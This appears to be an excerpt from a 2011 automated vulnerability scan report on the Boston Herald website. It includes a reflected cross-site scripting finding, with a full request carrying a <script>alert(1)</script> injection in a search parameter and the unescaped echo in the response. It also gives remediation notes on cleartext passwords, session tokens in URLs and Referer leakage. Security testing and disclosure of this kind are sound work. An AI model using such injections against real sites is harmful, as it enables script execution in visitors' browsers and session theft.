GET /search/?topic=Rep.+James+Valleec2820"><script>alert(1)</script>647d2a3054&srvc=home&position=0 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:08:02 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 32149
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- // generic_TOP.tmpl // --> ...[SNIP]... <input class="mainSearchinut" id="searchInput" type="text" value="Rep. James Valleec2820"><script>alert(1)</script>647d2a3054" name="topic" /> ...[SNIP]...
3. Cleartext submission of passwordpreviousnext There are 21 instances of this issue:
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /entertainment/movies/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:07:27 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 73560
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head>
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_cart_SM.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> ...[SNIP]...
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_cart_SM.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> ...[SNIP]...
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_cart_SM.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> ...[SNIP]...
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_cart_SM.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> ...[SNIP]...
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_cart_SM.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> ...[SNIP]...
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_cart_SM.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> ...[SNIP]...
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.